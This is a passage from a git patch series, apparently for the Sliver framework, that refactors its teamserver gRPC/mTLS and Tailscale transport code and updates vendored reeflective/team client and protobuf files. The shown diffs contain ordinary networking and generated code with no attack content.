version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - - "github.com/bishopfox/sliver/server/core" - "github.com/reeflective/team/server" - "github.com/reeflective/team/transports/grpc/proto" -) - -// rpcServer is the gRPC server implementation. -// It makes uses of the teamserver core to query users and version information. -type rpcServer struct { - server *server.Server - *proto.UnimplementedTeamServer -} - -func newServer(server *server.Server) *rpcServer { - return &rpcServer{ - server: server, - UnimplementedTeamServer: &proto.UnimplementedTeamServer{}, - } -} - -// GetVersion returns the teamserver version. -func (ts *rpcServer) GetVersion(context.Context, *proto.Empty) (*proto.Version, error) { - ver, err := ts.server.Version() - - return &proto.Version{ - Major: ver.Major, - Minor: ver.Minor, - Patch: ver.Patch, - Commit: ver.Commit, - Dirty: ver.Dirty, - CompiledAt: ver.CompiledAt, - OS: ver.OS, - Arch: ver.Arch, - }, err -} - -// GetUsers returns the list of teamserver users and their status. -func (ts *rpcServer) GetUsers(context.Context, *proto.Empty) (*proto.Users, error) { - // Fetch users from the teamserver user database. - users, err := ts.server.Users() - - userspb := make([]*proto.User, len(users)) - for i, user := range users { - userspb[i] = &proto.User{ - Name: user.Name, - Online: isOperatorOnline(user.Name), - LastSeen: user.LastSeen.Unix(), - Clients: int32(user.Clients), - } - } - - return &proto.Users{Users: userspb}, err -} - -func isOperatorOnline(commonName string) bool { - for _, operator := range core.Clients.ActiveOperators() { - if commonName == operator { - return true - } - } - return false -} diff --git a/server/transport/server.go b/server/transport/server.go index 0622515b51..0b7684553c 100644 --- a/server/transport/server.go +++ b/server/transport/server.go @@ -22,14 +22,11 @@ import ( "context" "net" "runtime/debug" - "sync" - teamserver "github.com/reeflective/team/server" - "github.com/reeflective/team/transports/grpc/proto" + "github.com/reeflective/team/server" "google.golang.org/grpc" "google.golang.org/grpc/test/bufconn" - clientTransport "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/server/rpc" ) @@ -45,35 +42,41 @@ const ( ServerMaxMessageSize = 2*gb - 1 ) -// Teamserver is a vanilla TCP+MTLS gRPC server offering all Sliver services through it. -// This listener backend embeds a team/server.Server core driver and uses it for fetching -// server-side TLS configurations, use its loggers and access its database/users/list. -type Teamserver struct { - *teamserver.Server - - options []grpc.ServerOption - conn *bufconn.Listener - mutex *sync.RWMutex -} - -// NewListener returns a vanilla tcp+mtls gRPC teamserver listener backend. -// Developers: note that the teamserver type is already set with logging/ -// auth/middleware/buffering gRPC options. You can still override them. -func NewListener(opts ...grpc.ServerOption) *Teamserver { - listener := &Teamserver{ - mutex: &sync.RWMutex{}, - options: bufferingOptions(), +// NewTeamserver returns a Sliver teamserver ready to run and serve +// itself over either TCP+MTLS/gRPC, or Tailscale+MTLS/gRPC channels. +// The client options returned should be passed to an in-memory teamclient. +// All errors returned by this function are critical: the server can't work. +func NewTeamserver() (team *server.Server, clientOpts []grpc.DialOption, err error) { + tlsListener := newTeamserverTLS() + tailscaleListener := newTeamserverTailScale() + + // Here is an import step, where we are given a change to setup + // the reeflective/teamserver with everything we want: our own + // database, the application daemon default port, loggers or files, + // directories, and much more. + var serverOpts []server.Options + serverOpts = append(serverOpts, + server.WithDefaultPort(31337), + server.WithListener(tlsListener), + server.WithListener(tailscaleListener), + ) + + // Create the application teamserver. + // Any error is critical, and means we can't work correctly. + teamserver, err := server.New("sliver", serverOpts...) + if err != nil { + return nil, nil, err } - listener.options = append(listener.options, opts...) - - return listener + // The gRPC teamserver backend is hooked to produce a single + // in-memory teamclient RPC/dialer backend. Not encrypted. + return teamserver, clientOptionsFor(tlsListener), nil } -// NewClientFrom requires an existing grpc Teamserver to create an in-memory -// connection bound to both the teamserver and the teamclient backends. +// clientOptionsFor requires an existing grpc Teamserver to create an in-memory connection. +// Those options are passed to the SliverClient constructor for setting up its own dialer. // It returns a teamclient meant to be ran in memory, with TLS credentials disabled. -func NewClientFrom(server *Teamserver, opts ...grpc.DialOption) *clientTransport.Teamclient { +func clientOptionsFor(server *teamserver, opts ...grpc.DialOption) []grpc.DialOption { conn := bufconn.Listen(bufSize) ctxDialer := grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) { @@ -89,89 +92,20 @@ func NewClientFrom(server *Teamserver, opts ...grpc.DialOption) *clientTransport // The reference is dropped after server start. server.conn = conn - return clientTransport.NewTeamClient(opts...) -} - -// Name immplements team/server.Handler.Name(). -// It indicates the transport/rpc stack. -func (h *Teamserver) Name() string { - return "gRPC/mTLS" -} - -// Init implements team/server.Handler.Init(). -// It is used to initialize the listener with the correct TLS credentials -// middleware (or absence of if about to serve an in-memory connection). -func (h *Teamserver) Init(serv *teamserver.Server) (err error) { - h.Server = serv - - // Logging - logOptions, err := logMiddlewareOptions(h.Server) - if err != nil { - return err - } - - h.options = append(h.options, logOptions...) - - // Authentication/audit - authOptions, err := h.initAuthMiddleware() - if err != nil { - return err - } - - h.options = append(h.options, authOptions...) - - return nil -} - -// Listen implements team/server.Handler.Listen(). -// this teamserver uses a tcp+TLS (mutual) listener to serve remote clients. -func (h *Teamserver) Listen(addr string) (ln net.Listener, err error) { - // In-memory connection are not authenticated. - if h.conn == nil { - ln, err = net.Listen("tcp", addr) - if err != nil { - return nil, err - } - - // Encryption. - tlsOptions, err := tlsAuthMiddlewareOptions(h.Server) - if err != nil { - return nil, err - } - - h.options = append(h.options, tlsOptions...) - } else { - h.mutex.Lock() - ln = h.conn - h.conn = nil - h.mutex.Unlock() - } - - h.serve(ln) - - return ln, nil -} - -// Close implements team/server.Handler.Close(). -// Original sliver never closes the gRPC HTTP server itself -// with server.Shutdown(), so here we don't close anything. -// Note that the listener itself is controled/closed by -// our core teamserver driver. -func (h *Teamserver) Close() error { - return nil + return opts } // serve is the transport-agnostic routine to serve the gRPC server // (and its implemented Sliver services) onto a generic listener. // Both mTLS and Tailscale teamserver backends use this. -func (h *Teamserver) serve(ln net.Listener) { +func (h *teamserver) serve(ln net.Listener) { grpcServer := grpc.NewServer(h.options...) rpcLog := h.NamedLogger("transport", "gRPC") // Teamserver/Sliver services - proto.RegisterTeamServer(grpcServer, newServer(h.Server)) - rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer()) + sliverServer := rpc.NewServer(h.Server) + rpcpb.RegisterSliverRPCServer(grpcServer, sliverServer) rpcLog.Infof("Serving gRPC teamserver on %s", ln.Addr()) diff --git a/server/transport/tailscale.go b/server/transport/tailscale.go index 78dd991d8c..36e47d8d01 100644 --- a/server/transport/tailscale.go +++ b/server/transport/tailscale.go @@ -35,12 +35,12 @@ import ( // tailscaleTeamserver is unexported since we only need it as // a reeflective/team/server.Listener interface implementation. type tailscaleTeamserver struct { - *Teamserver + *teamserver } -// NewTailScaleListener returns a Sliver teamserver backend using Tailscale. -func NewTailScaleListener(opts ...grpc.ServerOption) server.Listener { - core := NewListener(opts...) +// newTeamserverTailScale returns a Sliver teamserver backend using Tailscale. +func newTeamserverTailScale(opts ...grpc.ServerOption) server.Listener { + core := newTeamserverTLS(opts...) return &tailscaleTeamserver{core} } From 50d530174de57e803538b524efcdd9bb7b6f7e5c Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sat, 29 Jul 2023 21:32:31 +0200 Subject: [PATCH 056/124] Commit dependencies (useless) --- go.mod | 2 +- .../reeflective/team/client/client.go | 30 +- .../reeflective/team/client/options.go | 6 +- .../reeflective/team/server/core.go | 2 +- .../team/transports/grpc/proto/buf.gen.yaml | 13 - .../team/transports/grpc/proto/buf.work.yaml | 3 - .../team/transports/grpc/proto/buf.yaml | 12 - .../team/transports/grpc/proto/client.pb.go | 505 ------------------ .../team/transports/grpc/proto/client.proto | 40 -- .../team/transports/grpc/proto/service.pb.go | 85 --- .../team/transports/grpc/proto/service.proto | 13 - .../transports/grpc/proto/service_grpc.pb.go | 146 ----- vendor/modules.txt | 1 - 13 files changed, 11 insertions(+), 847 deletions(-) delete mode 100644 vendor/github.com/reeflective/team/transports/grpc/proto/buf.gen.yaml delete mode 100644 vendor/github.com/reeflective/team/transports/grpc/proto/buf.work.yaml delete mode 100644 vendor/github.com/reeflective/team/transports/grpc/proto/buf.yaml delete mode 100644 vendor/github.com/reeflective/team/transports/grpc/proto/client.pb.go delete mode 100644 vendor/github.com/reeflective/team/transports/grpc/proto/client.proto delete mode 100644 vendor/github.com/reeflective/team/transports/grpc/proto/service.pb.go delete mode 100644 vendor/github.com/reeflective/team/transports/grpc/proto/service.proto delete mode 100644 vendor/github.com/reeflective/team/transports/grpc/proto/service_grpc.pb.go diff --git a/go.mod b/go.mod index 6419ae08d0..c7a073827d 100644 --- a/go.mod +++ b/go.mod @@ -22,6 +22,7 @@ require ( github.com/cheggaaa/pb/v3 v3.1.2 github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9 github.com/chromedp/chromedp v0.9.1 + github.com/fatih/color v1.15.0 github.com/glebarez/sqlite v1.8.0 github.com/gofrs/uuid v4.4.0+incompatible github.com/google/uuid v1.3.0 @@ -99,7 +100,6 @@ require ( github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect github.com/dlclark/regexp2 v1.4.0 // indirect github.com/dustin/go-humanize v1.0.1 // indirect - github.com/fatih/color v1.15.0 // indirect github.com/fxamacker/cbor/v2 v2.4.0 // indirect github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect github.com/glebarez/go-sqlite v1.21.1 // indirect diff --git a/vendor/github.com/reeflective/team/client/client.go b/vendor/github.com/reeflective/team/client/client.go index 30097e7fdc..75940500f0 100644 --- a/vendor/github.com/reeflective/team/client/client.go +++ b/vendor/github.com/reeflective/team/client/client.go @@ -58,8 +58,8 @@ type Client struct { mutex *sync.RWMutex // Sync access. initOpts sync.Once // Some options can only be set once when creating the server. - dialer Dialer[any] // Connection backend for the teamclient. - connect *sync.Once // A client can only connect once per run. + dialer Dialer // Connection backend for the teamclient. + connect *sync.Once // A client can only connect once per run. // Client is the implementation of the core teamclient functionality, // which is to query a server version and its current users. @@ -80,19 +80,16 @@ type Client struct { // - The clientConn is a specific, but non-idiomatic RPC client (ex: a *grpc.ClientConn). // - A simple net.Conn over which anything can be done further. // - Nothing: a dialer might not need to use or even create a client connection. -type Dialer[clientConn any] interface { +type Dialer interface { // Init is used by any dialer to query the teamclient driving it about: // - The remote teamserver address and transport credentials // - The user registered in this remote teamserver configuration. // - To make use of client-side loggers, filesystem and other utilities. Init(c *Client) error - // Dial should connect to the endpoint available in the client configuration. - // Note that the configuration is not required as a function parameter, since - // the dialer has already been provided access to the entire teamclient in Init() - // The c`clientConn` type is then passed to all hook functions registered - // with the dialer when using the client.WithDialer(dialer, hooks...) option. - Dial() (conn clientConn, err error) + // Dial should connect to the endpoint available in any + // of the client remote teamserver configurations. + Dial() error // Close should close the connection or any related component. Close() error @@ -176,24 +173,11 @@ func (tc *Client) Connect(options ...Options) (err error) { return } - // Connect to the teamserver. - var client any - - client, err = tc.dialer.Dial() + err = tc.dialer.Dial() if err != nil { err = tc.errorf("%w: %w", ErrClient, err) return } - - // Post-run hooks are used by consumers to further setup/consume - // the connection after the latter was established. In the case - // of RPCs, this client is generally used to register them. - for _, hook := range tc.opts.hooks { - if err = hook(client); err != nil { - err = tc.errorf("%w: %w", ErrClient, err) - return - } - } }) return err diff --git a/vendor/github.com/reeflective/team/client/options.go b/vendor/github.com/reeflective/team/client/options.go index da12a3deb4..a43c03b74d 100644 --- a/vendor/github.com/reeflective/team/client/options.go +++ b/vendor/github.com/reeflective/team/client/options.go @@ -47,8 +47,7 @@ type opts struct { stdout io.Writer config *Config logger *logrus.Logger - dialer Dialer[any] - hooks []func(s any) error + dialer Dialer } func defaultOpts() *opts { @@ -167,10 +166,9 @@ func WithLogger(logger *logrus.Logger) Options { // // This option can be used multiple times, either when using // team/client.New() or when using the teamclient.Connect() method. -func WithDialer(dialer Dialer[any], hooks ...func(clientConn any) error) Options { +func WithDialer(dialer Dialer, hooks ...func(clientConn any) error) Options { return func(opts *opts) { opts.dialer = dialer - opts.hooks = append(opts.hooks, hooks...) } } diff --git a/vendor/github.com/reeflective/team/server/core.go b/vendor/github.com/reeflective/team/server/core.go index 9025720512..458c078634 100644 --- a/vendor/github.com/reeflective/team/server/core.go +++ b/vendor/github.com/reeflective/team/server/core.go @@ -154,7 +154,7 @@ func (ts *Server) Name() string { // of the application using this teamserver. // See the server.Listener and client.Dialer types documentation for more. func (ts *Server) Self(opts ...client.Options) *client.Client { - opts = append(opts, client.WithLocalDialer()) + // opts = append(opts, client.WithLocalDialer()) teamclient, _ := client.New(ts.Name(), ts, opts...) diff --git a/vendor/github.com/reeflective/team/transports/grpc/proto/buf.gen.yaml b/vendor/github.com/reeflective/team/transports/grpc/proto/buf.gen.yaml deleted file mode 100644 index 3db65777d2..0000000000 --- a/vendor/github.com/reeflective/team/transports/grpc/proto/buf.gen.yaml +++ /dev/null @@ -1,13 +0,0 @@ -version: v1 -managed: - enabled: true - go_package_prefix: - default: github.com/reeflective/team/transports/grpc/proto - -plugins: - - name: go - out: . - opt: paths=source_relative - - name: go-grpc - out: . - opt: paths=source_relative diff --git a/vendor/github.com/reeflective/team/transports/grpc/proto/buf.work.yaml b/vendor/github.com/reeflective/team/transports/grpc/proto/buf.work.yaml deleted file mode 100644 index f5a48a2395..0000000000 --- a/vendor/github.com/reeflective/team/transports/grpc/proto/buf.work.yaml +++ /dev/null @@ -1,3 +0,0 @@ -version: v1 -directories: - - . diff --git a/vendor/github.com/reeflective/team/transports/grpc/proto/buf.yaml b/vendor/github.com/reeflective/team/transports/grpc/proto/buf.yaml deleted file mode 100644 index 65d1ddbac4..0000000000 --- a/vendor/github.com/reeflective/team/transports/grpc/proto/buf.yaml +++ /dev/null @@ -1,12 +0,0 @@ -version: v1 -name: buf.build/reeflective/team -lint: - use: - - BASIC - except: - - FIELD_LOWER_SNAKE_CASE - - ENUM_VALUE_UPPER_SNAKE_CASE -breaking: - use: - - FILE - diff --git a/vendor/github.com/reeflective/team/transports/grpc/proto/client.pb.go b/vendor/github.com/reeflective/team/transports/grpc/proto/client.pb.go deleted file mode 100644 index 50e85c77dd..0000000000 --- a/vendor/github.com/reeflective/team/transports/grpc/proto/client.pb.go +++ /dev/null @@ -1,505 +0,0 @@ -// Code generated by protoc-gen-go. DO NOT EDIT. -// versions: -// protoc-gen-go v1.31.0 -// protoc v3.18.1 -// source: client.proto - -package proto - -import ( - protoreflect "google.golang.org/protobuf/reflect/protoreflect" - protoimpl "google.golang.org/protobuf/runtime/protoimpl" - reflect "reflect" - sync "sync" -) - -const ( - // Verify that this generated code is sufficiently up-to-date. - _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) - // Verify that runtime/protoimpl is sufficiently up-to-date. - _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) -) - -// [ Client & User ] -type Client struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - ID uint32 `protobuf:"varint,1,opt,name=ID,proto3" json:"ID,omitempty"` - Name string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"` - User *User `protobuf:"bytes,3,opt,name=User,proto3" json:"User,omitempty"` -} - -func (x *Client) Reset() { - *x = Client{} - if protoimpl.UnsafeEnabled { - mi := &file_client_proto_msgTypes[0] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *Client) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*Client) ProtoMessage() {} - -func (x *Client) ProtoReflect() protoreflect.Message { - mi := &file_client_proto_msgTypes[0] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use Client.ProtoReflect.Descriptor instead. -func (*Client) Descriptor() ([]byte, []int) { - return file_client_proto_rawDescGZIP(), []int{0} -} - -func (x *Client) GetID() uint32 { - if x != nil { - return x.ID - } - return 0 -} - -func (x *Client) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -func (x *Client) GetUser() *User { - if x != nil { - return x.User - } - return nil -} - -type Users struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Users []*User `protobuf:"bytes,1,rep,name=Users,proto3" json:"Users,omitempty"` -} - -func (x *Users) Reset() { - *x = Users{} - if protoimpl.UnsafeEnabled { - mi := &file_client_proto_msgTypes[1] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *Users) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*Users) ProtoMessage() {} - -func (x *Users) ProtoReflect() protoreflect.Message { - mi := &file_client_proto_msgTypes[1] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use Users.ProtoReflect.Descriptor instead. -func (*Users) Descriptor() ([]byte, []int) { - return file_client_proto_rawDescGZIP(), []int{1} -} - -func (x *Users) GetUsers() []*User { - if x != nil { - return x.Users - } - return nil -} - -type User struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"` - Online bool `protobuf:"varint,2,opt,name=Online,proto3" json:"Online,omitempty"` - LastSeen int64 `protobuf:"varint,3,opt,name=LastSeen,proto3" json:"LastSeen,omitempty"` - Clients int32 `protobuf:"varint,4,opt,name=Clients,proto3" json:"Clients,omitempty"` -} - -func (x *User) Reset() { - *x = User{} - if protoimpl.UnsafeEnabled { - mi := &file_client_proto_msgTypes[2] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *User) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*User) ProtoMessage() {} - -func (x *User) ProtoReflect() protoreflect.Message { - mi := &file_client_proto_msgTypes[2] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use User.ProtoReflect.Descriptor instead. -func (*User) Descriptor() ([]byte, []int) { - return file_client_proto_rawDescGZIP(), []int{2} -} - -func (x *User) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -func (x *User) GetOnline() bool { - if x != nil { - return x.Online - } - return false -} - -func (x *User) GetLastSeen() int64 { - if x != nil { - return x.LastSeen - } - return 0 -} - -func (x *User) GetClients() int32 { - if x != nil { - return x.Clients - } - return 0 -} - -type Version struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Major int32 `protobuf:"varint,1,opt,name=Major,proto3" json:"Major,omitempty"` - Minor int32 `protobuf:"varint,2,opt,name=Minor,proto3" json:"Minor,omitempty"` - Patch int32 `protobuf:"varint,3,opt,name=Patch,proto3" json:"Patch,omitempty"` - Commit string `protobuf:"bytes,4,opt,name=Commit,proto3" json:"Commit,omitempty"` - Dirty bool `protobuf:"varint,5,opt,name=Dirty,proto3" json:"Dirty,omitempty"` - CompiledAt int64 `protobuf:"varint,6,opt,name=CompiledAt,proto3" json:"CompiledAt,omitempty"` - OS string `protobuf:"bytes,7,opt,name=OS,proto3" json:"OS,omitempty"` - Arch string `protobuf:"bytes,8,opt,name=Arch,proto3" json:"Arch,omitempty"` -} - -func (x *Version) Reset() { - *x = Version{} - if protoimpl.UnsafeEnabled { - mi := &file_client_proto_msgTypes[3] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *Version) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*Version) ProtoMessage() {} - -func (x *Version) ProtoReflect() protoreflect.Message { - mi := &file_client_proto_msgTypes[3] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use Version.ProtoReflect.Descriptor instead. -func (*Version) Descriptor() ([]byte, []int) { - return file_client_proto_rawDescGZIP(), []int{3} -} - -func (x *Version) GetMajor() int32 { - if x != nil { - return x.Major - } - return 0 -} - -func (x *Version) GetMinor() int32 { - if x != nil { - return x.Minor - } - return 0 -} - -func (x *Version) GetPatch() int32 { - if x != nil { - return x.Patch - } - return 0 -} - -func (x *Version) GetCommit() string { - if x != nil { - return x.Commit - } - return "" -} - -func (x *Version) GetDirty() bool { - if x != nil { - return x.Dirty - } - return false -} - -func (x *Version) GetCompiledAt() int64 { - if x != nil { - return x.CompiledAt - } - return 0 -} - -func (x *Version) GetOS() string { - if x != nil { - return x.OS - } - return "" -} - -func (x *Version) GetArch() string { - if x != nil { - return x.Arch - } - return "" -} - -// [ Others ] -type Empty struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields -} - -func (x *Empty) Reset() { - *x = Empty{} - if protoimpl.UnsafeEnabled { - mi := &file_client_proto_msgTypes[4] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *Empty) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*Empty) ProtoMessage() {} - -func (x *Empty) ProtoReflect() protoreflect.Message { - mi := &file_client_proto_msgTypes[4] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use Empty.ProtoReflect.Descriptor instead. -func (*Empty) Descriptor() ([]byte, []int) { - return file_client_proto_rawDescGZIP(), []int{4} -} - -var File_client_proto protoreflect.FileDescriptor - -var file_client_proto_rawDesc = []byte{ - 0x0a, 0x0c, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x06, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x22, 0x4e, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, - 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x04, 0x55, 0x73, 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x0c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x55, 0x73, 0x65, 0x72, - 0x52, 0x04, 0x55, 0x73, 0x65, 0x72, 0x22, 0x2b, 0x0a, 0x05, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, - 0x22, 0x0a, 0x05, 0x55, 0x73, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0c, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x52, 0x05, 0x55, 0x73, - 0x65, 0x72, 0x73, 0x22, 0x68, 0x0a, 0x04, 0x55, 0x73, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, - 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c, 0x61, 0x73, 0x74, 0x53, - 0x65, 0x65, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x4c, 0x61, 0x73, 0x74, 0x53, - 0x65, 0x65, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x07, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x73, 0x22, 0xbd, 0x01, - 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x4d, 0x61, 0x6a, - 0x6f, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x4d, 0x61, 0x6a, 0x6f, 0x72, 0x12, - 0x14, 0x0a, 0x05, 0x4d, 0x69, 0x6e, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, - 0x4d, 0x69, 0x6e, 0x6f, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, 0x74, 0x63, 0x68, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x50, 0x61, 0x74, 0x63, 0x68, 0x12, 0x16, 0x0a, 0x06, 0x43, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x43, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x44, 0x69, 0x72, 0x74, 0x79, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x05, 0x44, 0x69, 0x72, 0x74, 0x79, 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, 0x6d, - 0x70, 0x69, 0x6c, 0x65, 0x64, 0x41, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x43, - 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x64, 0x41, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, - 0x68, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0x07, 0x0a, - 0x05, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x42, 0x84, 0x01, 0x0a, 0x0a, 0x63, 0x6f, 0x6d, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x42, 0x0b, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x74, 0x6f, 0x50, 0x01, 0x5a, 0x31, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, - 0x2f, 0x72, 0x65, 0x65, 0x66, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x2f, 0x74, 0x65, 0x61, - 0x6d, 0x2f, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x2f, 0x67, 0x72, 0x70, - 0x63, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0xa2, 0x02, 0x03, 0x43, 0x58, 0x58, 0xaa, 0x02, 0x06, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0xca, 0x02, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0xe2, - 0x02, 0x12, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x5c, 0x47, 0x50, 0x42, 0x4d, 0x65, 0x74, 0x61, - 0x64, 0x61, 0x74, 0x61, 0xea, 0x02, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x62, 0x06, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x33, -} - -var ( - file_client_proto_rawDescOnce sync.Once - file_client_proto_rawDescData = file_client_proto_rawDesc -) - -func file_client_proto_rawDescGZIP() []byte { - file_client_proto_rawDescOnce.Do(func() { - file_client_proto_rawDescData = protoimpl.X.CompressGZIP(file_client_proto_rawDescData) - }) - return file_client_proto_rawDescData -} - -var file_client_proto_msgTypes = make([]protoimpl.MessageInfo, 5) -var file_client_proto_goTypes = []interface{}{ - (*Client)(nil), // 0: client.Client - (*Users)(nil), // 1: client.Users - (*User)(nil), // 2: client.User - (*Version)(nil), // 3: client.Version - (*Empty)(nil), // 4: client.Empty -} -var file_client_proto_depIdxs = []int32{ - 2, // 0: client.Client.User:type_name -> client.User - 2, // 1: client.Users.Users:type_name -> client.User - 2, // [2:2] is the sub-list for method output_type - 2, // [2:2] is the sub-list for method input_type - 2, // [2:2] is the sub-list for extension type_name - 2, // [2:2] is the sub-list for extension extendee - 0, // [0:2] is the sub-list for field type_name -} - -func init() { file_client_proto_init() } -func file_client_proto_init() { - if File_client_proto != nil { - 